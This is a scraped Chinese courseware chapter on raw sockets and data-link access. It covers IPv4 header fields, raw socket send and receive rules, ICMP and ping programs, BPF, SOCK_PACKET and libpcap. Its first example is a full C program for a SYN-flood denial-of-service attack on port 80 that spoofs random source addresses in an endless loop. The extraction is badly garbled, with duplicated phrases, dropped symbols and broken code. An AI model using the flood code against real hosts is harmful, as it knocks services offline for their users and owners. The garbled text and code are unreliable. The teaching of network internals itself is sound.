




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1、第13章 原始套接字與數(shù)據(jù)鏈路訪問編程IPv4數(shù)據(jù)報格式:首部長度是以32位(即4字節(jié))為單位;16位的標識用于分片和重組;DF位(不分片);MF(還有片段);協(xié)議字段表示封裝在IP報文中的上層協(xié)議,典型的有:ICMP(1)、IGMP(2)、TCP(6)、UDP(17);頭部校驗和只對IP頭部(包括選項)計算,校驗算法是標準的因特網(wǎng)校驗和算法,即簡單的16位反碼求和。版本總長度(字節(jié)長度)標識片段偏移首部長度服務(wù)類型0DFMF存活時間(TTL)頭部校驗和協(xié)議32位源地址32位目的地址選項(如果有的話)數(shù)據(jù)首部數(shù)據(jù)0371531IP數(shù)據(jù)報分片例子nIP數(shù)據(jù)報是指指I P 層端到端的傳輸單元(在分
2、片之前和重新組裝之后),分組是指在I P 層和鏈路層之間傳送的數(shù)據(jù)單元。n需要重申的是,任何傳輸層首部只出現(xiàn)在第1 片數(shù)據(jù)中。原始套接字(概述)n原始套接字提供了一些使用原始套接字提供了一些使用tcp和和udp協(xié)議不能實協(xié)議不能實現(xiàn)的功能,如:現(xiàn)的功能,如:n使用原始套接字可以讀寫使用原始套接字可以讀寫ICMPv4、IGMPv4分組。分組。如如Ping程序,程序,mroute程序等;程序等;n使用原始套接字可以讀些特殊的使用原始套接字可以讀些特殊的IPv4數(shù)據(jù)包,內(nèi)核不數(shù)據(jù)包,內(nèi)核不處理這些數(shù)據(jù)報的處理這些數(shù)據(jù)報的IPv4協(xié)議字段。如大多數(shù)內(nèi)核只處理協(xié)議字段。如大多數(shù)內(nèi)核只處理ICMP、IGM
3、P、TCP、UDP的數(shù)據(jù)報。但協(xié)議字段還的數(shù)據(jù)報。但協(xié)議字段還可以為其他值,如可以為其他值,如OSPF直接使用直接使用IP協(xié)議,將協(xié)議,將IP數(shù)據(jù)報數(shù)據(jù)報的協(xié)議字段設(shè)為的協(xié)議字段設(shè)為89,此時,就必須有專門的程序通過原,此時,就必須有專門的程序通過原始套接字來處理它們;始套接字來處理它們;n利用原始套接字還可以創(chuàng)建自定義的利用原始套接字還可以創(chuàng)建自定義的IP數(shù)據(jù)報首部,編數(shù)據(jù)報首部,編寫基于寫基于IP協(xié)議的高層網(wǎng)絡(luò)協(xié)議。協(xié)議的高層網(wǎng)絡(luò)協(xié)議。原始套接字創(chuàng)建原始套接字創(chuàng)建#include #include int socket(AF_INET, SOCK_RAW, int protocol);np
4、rotocol參數(shù)一般不能為參數(shù)一般不能為0,如:,如:IPPROTO_ICMP。另外,只有超。另外,只有超級用戶才能創(chuàng)建原始套接字。級用戶才能創(chuàng)建原始套接字。n用戶可以通過設(shè)置用戶可以通過設(shè)置IP_HDRINCL選項來編寫自己的選項來編寫自己的IP數(shù)據(jù)報首部:數(shù)據(jù)報首部:const int on = 1;setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on);n可以調(diào)用可以調(diào)用bind函數(shù)綁定原始套接字的本地函數(shù)綁定原始套接字的本地IP地址,此時,所有輸出的地址,此時,所有輸出的數(shù)據(jù)報將用到源數(shù)據(jù)報將用到源IP地址(僅當(dāng)?shù)?/p>
5、址(僅當(dāng)IP_HDRINCL未設(shè)置時);如果不調(diào)未設(shè)置時);如果不調(diào)用用bind函數(shù),由內(nèi)核將源函數(shù),由內(nèi)核將源IP地址設(shè)成外出接口的主地址設(shè)成外出接口的主IP地址;地址;n可以調(diào)用可以調(diào)用connect函數(shù)設(shè)置數(shù)據(jù)報的目的地址(注意并不需要真正的連函數(shù)設(shè)置數(shù)據(jù)報的目的地址(注意并不需要真正的連接)。此后,可直接調(diào)用接)。此后,可直接調(diào)用write或或send。n注意:注意:bind和和connect時,端口已經(jīng)沒有意義了。時,端口已經(jīng)沒有意義了。通過原始套接字發(fā)送數(shù)據(jù)報通過原始套接字發(fā)送數(shù)據(jù)報n原始套接字的輸出遵循以下規(guī)則:原始套接字的輸出遵循以下規(guī)則:n如果套接字已經(jīng)連接,可以調(diào)用如果套接
6、字已經(jīng)連接,可以調(diào)用write、writev、send來發(fā)送數(shù)來發(fā)送數(shù)據(jù),否則需要調(diào)用據(jù),否則需要調(diào)用sendto或或sendmsg;n如果如果IP_HDRINCL選項未設(shè)置,則內(nèi)核寫的數(shù)據(jù)起始地址指選項未設(shè)置,則內(nèi)核寫的數(shù)據(jù)起始地址指IP頭部之后的第一個字節(jié)。因為這種情況下,內(nèi)核構(gòu)造頭部之后的第一個字節(jié)。因為這種情況下,內(nèi)核構(gòu)造IP頭部,并頭部,并將它安在來自進程的數(shù)據(jù)之前。內(nèi)核將將它安在來自進程的數(shù)據(jù)之前。內(nèi)核將IPv4頭部的協(xié)議字段設(shè)置頭部的協(xié)議字段設(shè)置成用戶在調(diào)用成用戶在調(diào)用socket函數(shù)所給的第三個參數(shù);函數(shù)所給的第三個參數(shù);n如果設(shè)置了如果設(shè)置了IP_HDRINCL,則內(nèi)核寫的數(shù)
7、據(jù)起始地址指,則內(nèi)核寫的數(shù)據(jù)起始地址指IP頭部頭部的第一個字節(jié)。用戶所提供的數(shù)據(jù)大小值必須包括頭部的字節(jié)數(shù)。的第一個字節(jié)。用戶所提供的數(shù)據(jù)大小值必須包括頭部的字節(jié)數(shù)。此時進程構(gòu)造除了以下兩項外的整個此時進程構(gòu)造除了以下兩項外的整個IP頭部;(頭部;(a)IPv4標識字標識字段可以設(shè)為段可以設(shè)為0,要求內(nèi)核設(shè)置該值;(,要求內(nèi)核設(shè)置該值;(b)IPv4頭部校驗和由內(nèi)核頭部校驗和由內(nèi)核來計算和存儲。來計算和存儲。IPv4數(shù)據(jù)報首部各個字段的內(nèi)容均是網(wǎng)絡(luò)字節(jié)序數(shù)據(jù)報首部各個字段的內(nèi)容均是網(wǎng)絡(luò)字節(jié)序(對(對linux而言)而言)n對于超出外出接口的對于超出外出接口的MTU的分組,內(nèi)核將其分片。的分組,
8、內(nèi)核將其分片。通過原始套接字接收數(shù)據(jù)報通過原始套接字接收數(shù)據(jù)報n內(nèi)核通過原始套接字接收數(shù)據(jù)報,遵循以下規(guī)則:內(nèi)核通過原始套接字接收數(shù)據(jù)報,遵循以下規(guī)則:n接收到的接收到的tcp和和udp分組決不會傳遞給原始套接字,如果一個進程分組決不會傳遞給原始套接字,如果一個進程希望讀取包含希望讀取包含tcp或或udp分組的分組的IP數(shù)據(jù)報,那么它們必須在數(shù)據(jù)鏈數(shù)據(jù)報,那么它們必須在數(shù)據(jù)鏈路層讀入;路層讀入;n當(dāng)內(nèi)核處理完當(dāng)內(nèi)核處理完ICMP消息后,絕大部分消息后,絕大部分ICMP分組將傳遞給原始套分組將傳遞給原始套接字。對源自接字。對源自Berkeley的實現(xiàn),除了回射請求、時間戳請求和地的實現(xiàn),除了回射
9、請求、時間戳請求和地址掩碼請求將完全由內(nèi)核處理以外,所有收到的址掩碼請求將完全由內(nèi)核處理以外,所有收到的ICMP分組將傳遞分組將傳遞給某個原始套接口;給某個原始套接口;n當(dāng)內(nèi)核處理完當(dāng)內(nèi)核處理完IGMP消息后,所有消息后,所有IGMP分組都將傳遞給某個原始分組都將傳遞給某個原始套接字;套接字;n所有帶有內(nèi)核不能識別的協(xié)議字段的所有帶有內(nèi)核不能識別的協(xié)議字段的IP數(shù)據(jù)報都將傳遞給某個原始數(shù)據(jù)報都將傳遞給某個原始套接字。套接字。n如果數(shù)據(jù)報以分片形式到達,則該分組將在所有片段到達并重組后如果數(shù)據(jù)報以分片形式到達,則該分組將在所有片段到達并重組后才傳給原始套接字。才傳給原始套接字。通過原始套接字接收
10、數(shù)據(jù)報(續(xù))通過原始套接字接收數(shù)據(jù)報(續(xù))n在將一個在將一個IP數(shù)據(jù)報傳遞給某個套接字之前,內(nèi)核需要選擇數(shù)據(jù)報傳遞給某個套接字之前,內(nèi)核需要選擇匹配的原始套接字:匹配的原始套接字:n如果在創(chuàng)建原始套接字時,所指定的如果在創(chuàng)建原始套接字時,所指定的protocolprotocol參數(shù)不為參數(shù)不為0 0,則接收到,則接收到的數(shù)據(jù)包的協(xié)議字段應(yīng)與該值匹配,否則該數(shù)據(jù)報將不傳遞給該套的數(shù)據(jù)包的協(xié)議字段應(yīng)與該值匹配,否則該數(shù)據(jù)報將不傳遞給該套接字;接字;n如果此原始套接字之上綁定了一個本地如果此原始套接字之上綁定了一個本地IPIP地址,那么接收到的數(shù)據(jù)報地址,那么接收到的數(shù)據(jù)報的目的的目的IPIP地址應(yīng)
11、與該綁定地址相匹配,否則該數(shù)據(jù)報將不傳遞給該套地址應(yīng)與該綁定地址相匹配,否則該數(shù)據(jù)報將不傳遞給該套接字;接字;n如果此原始套接字通過調(diào)用如果此原始套接字通過調(diào)用connectconnect指定了一個對方的指定了一個對方的IPIP地址,那么地址,那么接收到的數(shù)據(jù)報的源接收到的數(shù)據(jù)報的源IPIP地址應(yīng)與該已連接地址相匹配,否則該數(shù)據(jù)報地址應(yīng)與該已連接地址相匹配,否則該數(shù)據(jù)報將不傳遞給該套接字。將不傳遞給該套接字。n如果一個原始套接字以如果一個原始套接字以protocolprotocol參數(shù)為參數(shù)為0 0的方式創(chuàng)建,而且未調(diào)用的方式創(chuàng)建,而且未調(diào)用bindbind或或connectconnect,那
12、么對于內(nèi)核傳遞給原始套接字的每一個原始數(shù)據(jù),那么對于內(nèi)核傳遞給原始套接字的每一個原始數(shù)據(jù)報,該套接字都會收到一份拷貝;報,該套接字都會收到一份拷貝;n當(dāng)接收到的數(shù)據(jù)報傳遞給當(dāng)接收到的數(shù)據(jù)報傳遞給IPv4IPv4原始套接字時,整個數(shù)據(jù)報(包括原始套接字時,整個數(shù)據(jù)報(包括IPIP頭頭部)都將傳遞給進程。而對于部)都將傳遞給進程。而對于IPv6IPv6,則將去除擴展頭部。,則將去除擴展頭部。例1、DOS攻擊(拒絕服務(wù)攻擊)n拒絕服務(wù)攻擊原理:畫圖源程序源程序Dos.c:#include #include #include #include #include #include #include #i
13、nclude #define DESTPORT 80 /*要攻擊的端口要攻擊的端口(WEB)*/#define LOCALPORT 8888void send_tcp(int sockfd,struct sockaddr_in *addr);unsigned short check_sum(unsigned short *addr,int len);int main(int argc,char *argv) int sockfd; struct sockaddr_in addr; int on; on=1; if(argc!=2) fprintf(stderr,Usage:%sIPna,arg
14、v0); exit(1); bzero(&addr,sizeof(struct sockaddr_in); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); inet_aton(argv1,&addr.sin_addr); /* * 使用使用IPPROTO_TCP創(chuàng)建一個創(chuàng)建一個TCP的原始套接的原始套接*/ sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfdip_v=IPVERSION;/*版本一般的是版本一般的是4*/ ip-ip_hl=sizeof(st
15、ruct ip)2;/*IP數(shù)據(jù)包的頭部長度數(shù)據(jù)包的頭部長度*/ ip-ip_tos=0;/*服務(wù)類型服務(wù)類型*/ ip-ip_len=htons(head_len);/*IP數(shù)據(jù)包的長度數(shù)據(jù)包的長度*/ ip-ip_id=0;/*讓系統(tǒng)去填寫吧讓系統(tǒng)去填寫吧*/ ip-ip_off=0;/*和上面一樣和上面一樣,省點時間省點時間*/ ip-ip_ttl=MAXTTL; /*最長的時間最長的時間255*/ ip-ip_p=IPPROTO_TCP;/*我們要發(fā)的是我們要發(fā)的是TCP包包*/ ip-ip_sum=0;/*校驗和讓系統(tǒng)去做校驗和讓系統(tǒng)去做*/ ip-ip_dst=addr-sin_a
16、ddr;/*我們攻擊的對象我們攻擊的對象*/ printf(dest address is %sn,inet_ntoa(addr-sin_addr);/*開始填寫開始填寫TCP數(shù)據(jù)包數(shù)據(jù)包*/ tcp=(struct tcphdr *)(buffer+sizeof(struct ip); tcp-source=htons(LOCALPORT); tcp-dest=addr-sin_port;/*目的端口目的端口*/ tcp-seq=random(); tcp-ack_seq=0; tcp-doff=5; tcp-syn=1;/*我要建立連接我要建立連接*/ tcp-check=0;/*好了好了
17、,一切都準備好了一切都準備好了.服務(wù)器服務(wù)器,你準備好了沒有你準備好了沒有*/while(1) /*你不知道我是從那里來的你不知道我是從那里來的,慢慢的去等吧慢慢的去等吧!*/ ip-ip_src.s_addr=random(); printf(addr is%dn,ip-ip_src.s_addr); sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr); 程序運行權(quán)限n通常情況下,有效用戶通常情況下,有效用戶ID等于實際用戶等于實際用戶ID,有效組,有效組ID等等于實際組于實際組ID;
18、n文件方式字中有一個特殊標志,定義為文件方式字中有一個特殊標志,定義為“當(dāng)執(zhí)行此文件時當(dāng)執(zhí)行此文件時將進程的有效用戶將進程的有效用戶ID設(shè)置為文件的所有者設(shè)置為文件的所有者”,與此類似,與此類似,組組ID也有類似的情況。這兩位稱為:設(shè)置用戶也有類似的情況。這兩位稱為:設(shè)置用戶ID和和設(shè)置組設(shè)置組ID。n對于本程序要求:普通用戶能執(zhí)行該程序,但該程序又要對于本程序要求:普通用戶能執(zhí)行該程序,但該程序又要求要具有超級用戶權(quán)限,因此:需要將該可執(zhí)行程序的所求要具有超級用戶權(quán)限,因此:需要將該可執(zhí)行程序的所有者設(shè)置為超級用戶,并設(shè)置其有者設(shè)置為超級用戶,并設(shè)置其“設(shè)置設(shè)置-用戶用戶-ID”標志,標志,
19、方法是:方法是:程序運行結(jié)果程序運行結(jié)果例2:給本機發(fā)送一個ICMP報文,然后接收回復(fù)。/ip.h#ifndef _IP_H#define _IP_H#include #include #include #include #include #include #include #include #include #include #define PACKET_SIZE 4096#define MAX_WAIT_TIME 5#define DEST_ADDR 222.18.113.171extern int errno;char sendpacketPACKET_SIZE;char recvpac
20、ketPACKET_SIZE;int sockfd,datalen=56;struct sockaddr_in dest_addr;void send_packet();void recv_packet();unsigned short cal_chksum(unsigned short * addr,int len);void showiphdr(struct ip *ip);void onTerm();#endif/Ip.c#include ip.hint main(int argc,char *argv)struct hostent *host;struct protoent *prot
21、ocol;unsigned long inaddr=0L;if(protocol=getprotobyname(icmp)=NULL) perror(unknow protocol icmp); exit(1);if(sockfd=socket(AF_INET,SOCK_RAW,protocol-p_proto)icmp_type=ICMP_ECHO;icmp-icmp_code=0;icmp-icmp_cksum=0;icmp-icmp_id=getpid();icmp-icmp_seq=1;packetsize=8+datalen; /數(shù)據(jù)包的大小數(shù)據(jù)包的大小icmp-icmp_cksum
22、=cal_chksum(unsigned short*)icmp,packetsize);if(sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr)1) sum+=*w+; nleft-=2;if(nleft=1) *(unsigned char*)(&answer)=*(unsigned char*)w; sum+=answer;sum=(sum16)+(sum&0 xffff);sum+=(sum16);answer=sum;return answer
23、;void recv_packet() int n,fromlen,packet_no; struct sockaddr_in from; struct ip *ip; struct icmp *icmp; signal(SIGALRM,onTerm); while(1) fromlen=sizeof(from); alarm(MAX_WAIT_TIME); if(n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr*)&from,&fromlen)ip_hl);icmp=(struct icmp*
24、)(recvpacket+4*ip-ip_hl);/取取ICMP報頭報頭printf(ICMP TYPE=%dn,icmp-icmp_type); void showiphdr(struct ip *ip)printf(-IP HEADER-n);printf(version:%dn,ip-ip_v);printf(header length:%dn,ip-ip_hl);printf(type of service:%dn,ip-ip_tos);printf(total length:%dn,ip-ip_len);printf(identification:%dn,ip-ip_id);prin
25、tf(fragment offset field:%dn,ip-ip_off);printf(time to live:%dn,ip-ip_ttl);printf(protocol:%dn,ip-ip_p);/*printf(checksum:%sn,ip-ip_sum );*/printf(source IP address:%sn,inet_ntoa(ip-ip_src);printf(destination IP address:%sn,inet_ntoa(ip-ip_dst);void onTerm()close(sockfd);exit(0);運行結(jié)果收到了兩個ICMP報文,一個是由
26、程序發(fā)送的,另一個是系統(tǒng)回復(fù)的。例3:ping程序#include #include #include #include #include #include #include #include #include #include #include #include #define PACKET_SIZE 4096#define MAX_WAIT_TIME 5#define MAX_NO_PACKETS 3char sendpacketPACKET_SIZE;char recvpacketPACKET_SIZE;int sockfd,datalen=56;int nsend=0,nreceive
27、d=0;struct sockaddr_in dest_addr;pid_t pid;struct sockaddr_in from;struct timeval tvrecv;void statistics(int signo);unsigned short cal_chksum(unsigned short *addr,int len);int pack(int pack_no);void send_packet(void);void recv_packet(void);int unpack(char *buf,int len);void tv_sub(struct timeval *ou
28、t,struct timeval *in);void statistics(int signo) printf(n-PING statistics-n); printf(%d packets transmitted, %d received , %d lostn,nsend,nreceived, (nsend-nreceived)/nsend*100); close(sockfd); exit(1);/*校驗和算法校驗和算法*/unsigned short cal_chksum(unsigned short *addr,int len) int nleft=len; int sum=0; un
29、signed short *w=addr; unsigned short answer=0;/*把把ICMP報頭二進制數(shù)據(jù)以報頭二進制數(shù)據(jù)以2字節(jié)為單位累加起來字節(jié)為單位累加起來*/ while(nleft1) sum+=*w+; nleft-=2; /*若若ICMP報頭為奇數(shù)個字節(jié),會剩下最后一字節(jié)。把最后一個字節(jié)視為一個報頭為奇數(shù)個字節(jié),會剩下最后一字節(jié)。把最后一個字節(jié)視為一個2字節(jié)數(shù)據(jù)的高字節(jié),這個字節(jié)數(shù)據(jù)的高字節(jié),這個2字節(jié)數(shù)據(jù)字節(jié)數(shù)據(jù)的低字節(jié)為的低字節(jié)為0,繼續(xù)累加,繼續(xù)累加*/ if( nleft=1) *(unsigned char *)(&answer)=*(unsig
30、ned char *)w; sum+=answer; sum=(sum16)+(sum&0 xffff); sum+=(sum16); answer=sum; return answer;/*設(shè)置設(shè)置ICMP報頭報頭*/int pack(int pack_no) int i,packsize; struct icmp *icmp; struct timeval *tval; icmp=(struct icmp*)sendpacket; icmp-icmp_type=ICMP_ECHO; icmp-icmp_code=0; icmp-icmp_cksum=0; icmp-icmp_seq
31、=pack_no; icmp-icmp_id=pid;packsize=8+datalen; tval= (struct timeval *)icmp-icmp_data; gettimeofday(tval,NULL); /*記錄發(fā)送時間記錄發(fā)送時間*/ icmp-icmp_cksum=cal_chksum( (unsigned short *)icmp,packsize); /*校驗算法校驗算法*/ return packsize;/*發(fā)送三個發(fā)送三個ICMP報文報文*/void send_packet() int packetsize; while( nsendMAX_NO_PACKET
32、S) nsend+; packetsize=pack(nsend); /*設(shè)置設(shè)置ICMP報頭報頭*/ if( sendto(sockfd,sendpacket,packetsize,0, (struct sockaddr *)&dest_addr,sizeof(dest_addr) )0 ) perror(sendto error); continue; sleep(1); /*每隔一秒發(fā)送一個每隔一秒發(fā)送一個ICMP報文報文*/ /*接收所有接收所有ICMP報文報文*/void recv_packet() int n,fromlen; extern int errno; signa
33、l(SIGALRM,statistics); fromlen=sizeof(from); while( nreceived10) alarm(MAX_WAIT_TIME); if( (n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0,(struct sockaddr *)&from,&fromlen) ip_hl)*4; /*求求ip報頭長度報頭長度,即即ip報頭的長度標志乘報頭的長度標志乘4*/ icmp=(struct icmp *)(buf+iphdrlen); /*越過越過ip報頭報頭,指向指向ICMP報頭報頭*/ le
34、n-=iphdrlen; /*ICMP報頭及報頭及ICMP數(shù)據(jù)報的總長度數(shù)據(jù)報的總長度*/ if( lenicmp_type=ICMP_ECHOREPLY) & (icmp-icmp_id=pid) ) tvsend=(struct timeval *)icmp-icmp_data; tv_sub(&tvrecv,tvsend); /*接收和發(fā)送的時間差接收和發(fā)送的時間差*/ rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000; /*以毫秒為單位計算以毫秒為單位計算rtt*/ /*顯示相關(guān)信息顯示相關(guān)信息*/ printf(%d byte fr
35、om %s: icmp_seq=%u ttl=%d rtt=%.3f msn, len, inet_ntoa(from.sin_addr), icmp-icmp_seq, ip-ip_ttl, rtt); else return -1;main(int argc,char *argv) struct hostent *host; struct protoent *protocol; unsigned long inaddr=0l;int waittime=MAX_WAIT_TIME; int size=50*1024; if(argcp_proto) )h_addr); pid=getpid(
36、);printf(PING %s(%s): %d bytes data in ICMP packets.n,argv1, inet_ntoa(dest_addr.sin_addr),datalen); send_packet(); /*發(fā)送所有發(fā)送所有ICMP報文報文*/ recv_packet(); /*接收所有接收所有ICMP報文報文*/ statistics(SIGALRM); /*進行統(tǒng)計進行統(tǒng)計*/ return 0;/*兩個兩個timeval結(jié)構(gòu)相減結(jié)構(gòu)相減*/void tv_sub(struct timeval *out,struct timeval *in) if( (out-
37、tv_usec-=in-tv_usec)tv_sec; out-tv_usec+=1000000; out-tv_sec-=in-tv_sec;/*- The End -*/運行結(jié)果:數(shù)據(jù)鏈路訪問數(shù)據(jù)鏈路訪問n目前大多數(shù)操作系統(tǒng)都為應(yīng)用程序提供了訪問數(shù)據(jù)目前大多數(shù)操作系統(tǒng)都為應(yīng)用程序提供了訪問數(shù)據(jù)鏈路層的手段,它具有以下功能:鏈路層的手段,它具有以下功能:n監(jiān)視數(shù)據(jù)鏈路層所收到的分組,這使得我們可以在計算監(jiān)視數(shù)據(jù)鏈路層所收到的分組,這使得我們可以在計算機上通過像機上通過像tcpdumptcpdump這樣的程序來監(jiān)視網(wǎng)絡(luò),而無需使用這樣的程序來監(jiān)視網(wǎng)絡(luò),而無需使用特殊的硬件設(shè)備。如果結(jié)合使用網(wǎng)絡(luò)
38、接口的混雜模式,特殊的硬件設(shè)備。如果結(jié)合使用網(wǎng)絡(luò)接口的混雜模式,甚至可以偵聽本地電纜上的所有分組,而不只是以程序甚至可以偵聽本地電纜上的所有分組,而不只是以程序運行所在主機為目的的分組。運行所在主機為目的的分組。n作為普通應(yīng)用進程而不是內(nèi)核的一部分運行某些程序。作為普通應(yīng)用進程而不是內(nèi)核的一部分運行某些程序。例如,大多數(shù)例如,大多數(shù)UnixUnix系統(tǒng)的系統(tǒng)的RARPRARP服務(wù)器是普通的應(yīng)用進程,服務(wù)器是普通的應(yīng)用進程,它們從數(shù)據(jù)鏈路讀取它們從數(shù)據(jù)鏈路讀取RARPRARP請求,并把應(yīng)答寫回數(shù)據(jù)鏈路。請求,并把應(yīng)答寫回數(shù)據(jù)鏈路。數(shù)據(jù)鏈路層訪問方法數(shù)據(jù)鏈路層訪問方法nBSD系統(tǒng)提供的系統(tǒng)提供的B
39、PF分組過濾器分組過濾器nSVR4的數(shù)據(jù)鏈路提供者接口的數(shù)據(jù)鏈路提供者接口DLPInLinux系統(tǒng)的系統(tǒng)的SOCK_PACKET接口接口n數(shù)據(jù)報捕獲函數(shù)庫數(shù)據(jù)報捕獲函數(shù)庫libpcap。BPF分組過濾器應(yīng)用進程緩沖區(qū)過濾器應(yīng)用進程緩沖區(qū)過濾器BPFIPv4IPv6數(shù)據(jù)鏈路收到的分組的拷貝發(fā)出的分組的拷貝進程內(nèi)核緩沖區(qū)緩沖區(qū)BPF分組過濾器n因為因為BPF過濾器需要對每個收到的報文進行過濾器需要對每個收到的報文進行過濾,因此性能就至為重要了,過濾,因此性能就至為重要了,BPF采用三采用三種技術(shù)減少開銷:種技術(shù)減少開銷:nBPF的過濾由內(nèi)核完成,過濾后的分組才拷貝給的過濾由內(nèi)核完成,過濾后的分組才
40、拷貝給應(yīng)用程序。應(yīng)用程序。n每個分組只有部分數(shù)據(jù)由每個分組只有部分數(shù)據(jù)由BPF傳遞給應(yīng)用程序,傳遞給應(yīng)用程序,因為大多數(shù)應(yīng)用程序只需要監(jiān)控分組頭部。例如因為大多數(shù)應(yīng)用程序只需要監(jiān)控分組頭部。例如tcpdump將捕獲分組長度缺省設(shè)置為將捕獲分組長度缺省設(shè)置為68字節(jié)(以字節(jié)(以太網(wǎng)首部太網(wǎng)首部14+IP首部首部20+TCP首部首部20+14字節(jié)的數(shù)字節(jié)的數(shù)據(jù))據(jù))nBPF緩沖只有在已滿或超時發(fā)生才拷貝給應(yīng)用程緩沖只有在已滿或超時發(fā)生才拷貝給應(yīng)用程序。(序。(BPF采用了雙緩沖技術(shù))采用了雙緩沖技術(shù))使用DLPI、pfmod、bufmod捕獲分組應(yīng)用進程bufmodpfmod應(yīng)用進程bufmodp
41、fmodIPv4IPv6數(shù)據(jù)鏈路進程內(nèi)核Linux:SOCK_PACKETn該方法需要創(chuàng)建該方法需要創(chuàng)建SOCK_PACKETSOCK_PACKET類型的套接字,類型的套接字,而且調(diào)用而且調(diào)用socketsocket的第三個參數(shù)必須是指定以太的第三個參數(shù)必須是指定以太網(wǎng)幀類型的某個非網(wǎng)幀類型的某個非0 0值,例如:值,例如:fd = socket(AF_INET, SOCKET_PACKET,htons(ETH_P_ALL);fd = socket(AF_INET, SOCKET_PACKET,htons(ETH_P_ALL);fd = socket(AF_INET, SOCKET_PACKE
42、T,htons(ETH_P_IP);fd = socket(AF_INET, SOCKET_PACKET,htons(ETH_P_IP);還可以指定為:還可以指定為:ETH_P_IPv6ETH_P_IPv6、ETH_P_ARPETH_P_ARP。n該方法不提供基于核心的緩沖和分組過濾機該方法不提供基于核心的緩沖和分組過濾機制,因此,效率較低。另外,制,因此,效率較低。另外,LinuxLinux不提供針不提供針對設(shè)備的過濾,即不能只接收來自某個指定對設(shè)備的過濾,即不能只接收來自某個指定設(shè)備的分組。設(shè)備的分組。libpcap:分組捕獲函數(shù)庫nlibpcaplibpcap是一個與實現(xiàn)無關(guān)的訪問操作系
43、統(tǒng)所是一個與實現(xiàn)無關(guān)的訪問操作系統(tǒng)所提供的分組捕獲機制的分組捕獲函數(shù)庫。目提供的分組捕獲機制的分組捕獲函數(shù)庫。目前它只支持分組的讀取。前它只支持分組的讀取。n它同時支持它同時支持BerkeleyBerkeley內(nèi)核下的內(nèi)核下的BPFBPF、Solaris Solaris 2.x2.x下的下的DLPIDLPI、SunOS4.1SunOS4.1下的下的NITNIT、LinuxLinux下的下的SOCK_PACKETSOCK_PACKET套接字以及其他若干操作系統(tǒng),套接字以及其他若干操作系統(tǒng),具有良好的兼容性。具有良好的兼容性。libpcap庫函數(shù)(1)include char *pcap_look
44、updev(char *errbuf); 返回值:成功返回網(wǎng)絡(luò)設(shè)備名指針,出錯返回返回值:成功返回網(wǎng)絡(luò)設(shè)備名指針,出錯返回NULL,并在并在errbuf中存儲錯誤信息。中存儲錯誤信息。n該函數(shù)用于返回可被該函數(shù)用于返回可被pcap_open_live()或或pcap_lookupnet()函數(shù)調(diào)用的網(wǎng)絡(luò)函數(shù)調(diào)用的網(wǎng)絡(luò)設(shè)備名指針。設(shè)備名指針。libpcap庫函數(shù)(2)include int pcap_lookupnet(char *device, bpf_u_int *netp, bpf_u_int32 *maskp, char *errbuf); 返回:出錯返回返回:出錯返回-1,否則,否則0
45、;n該函數(shù)獲得指定網(wǎng)絡(luò)設(shè)備的網(wǎng)絡(luò)號和掩碼該函數(shù)獲得指定網(wǎng)絡(luò)設(shè)備的網(wǎng)絡(luò)號和掩碼 網(wǎng)絡(luò)設(shè)備的網(wǎng)絡(luò)號網(wǎng)絡(luò)設(shè)備的網(wǎng)絡(luò)號(返回值返回值) 網(wǎng)絡(luò)設(shè)備的掩碼網(wǎng)絡(luò)設(shè)備的掩碼(返回值返回值)libpcap庫函數(shù)(3)#include pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf);n該函數(shù)獲得用于捕獲網(wǎng)絡(luò)數(shù)據(jù)包捕獲描述符。該函數(shù)獲得用于捕獲網(wǎng)絡(luò)數(shù)據(jù)包捕獲描述符。n函數(shù)參數(shù)如下:函數(shù)參數(shù)如下:ndevice:指定打開的網(wǎng)絡(luò)設(shè)備名;:指定打開的網(wǎng)絡(luò)設(shè)備名;nsnaplen:定義捕獲數(shù)據(jù)的最大字
46、節(jié)數(shù);:定義捕獲數(shù)據(jù)的最大字節(jié)數(shù);npromisc:指定是否將網(wǎng)絡(luò)接口置于混雜模式;:指定是否將網(wǎng)絡(luò)接口置于混雜模式;nto_ms:指定超時時間(毫秒):指定超時時間(毫秒)nebuf:當(dāng)發(fā)生錯誤時,存儲錯誤信息。:當(dāng)發(fā)生錯誤時,存儲錯誤信息。libpcap庫函數(shù)(4)include int pcap_dispatch(pcap_t *p, int cnt, pcap_handler callback, u_char *user); 返回值:成功返回讀取到的字節(jié)數(shù),出錯返回返回值:成功返回讀取到的字節(jié)數(shù),出錯返回1 1。n該函數(shù)用于捕獲并處理數(shù)據(jù)包。參數(shù)意義如下:該函數(shù)用于捕獲并處理數(shù)據(jù)包。參
47、數(shù)意義如下:np p:打開的網(wǎng)絡(luò)設(shè)備描述符;:打開的網(wǎng)絡(luò)設(shè)備描述符;ncntcnt:指定函數(shù)返回前所處理數(shù)據(jù)包的最大值,:指定函數(shù)返回前所處理數(shù)據(jù)包的最大值,cnt = cnt = 1 1表示處理緩沖區(qū)中所有表示處理緩沖區(qū)中所有的數(shù)據(jù)報。的數(shù)據(jù)報。cnt = 0 cnt = 0 表示處理所有數(shù)據(jù)包,直到下述條件發(fā)生:表示處理所有數(shù)據(jù)包,直到下述條件發(fā)生:發(fā)生錯誤發(fā)生錯誤讀取到讀取到EOF;EOF;超時讀取。超時讀取。ncallbackcallback:指定一個帶有三個參數(shù)的回調(diào)函數(shù)。這三個參數(shù)分別是一個從:指定一個帶有三個參數(shù)的回調(diào)函數(shù)。這三個參數(shù)分別是一個從pcap_dispatch()pc
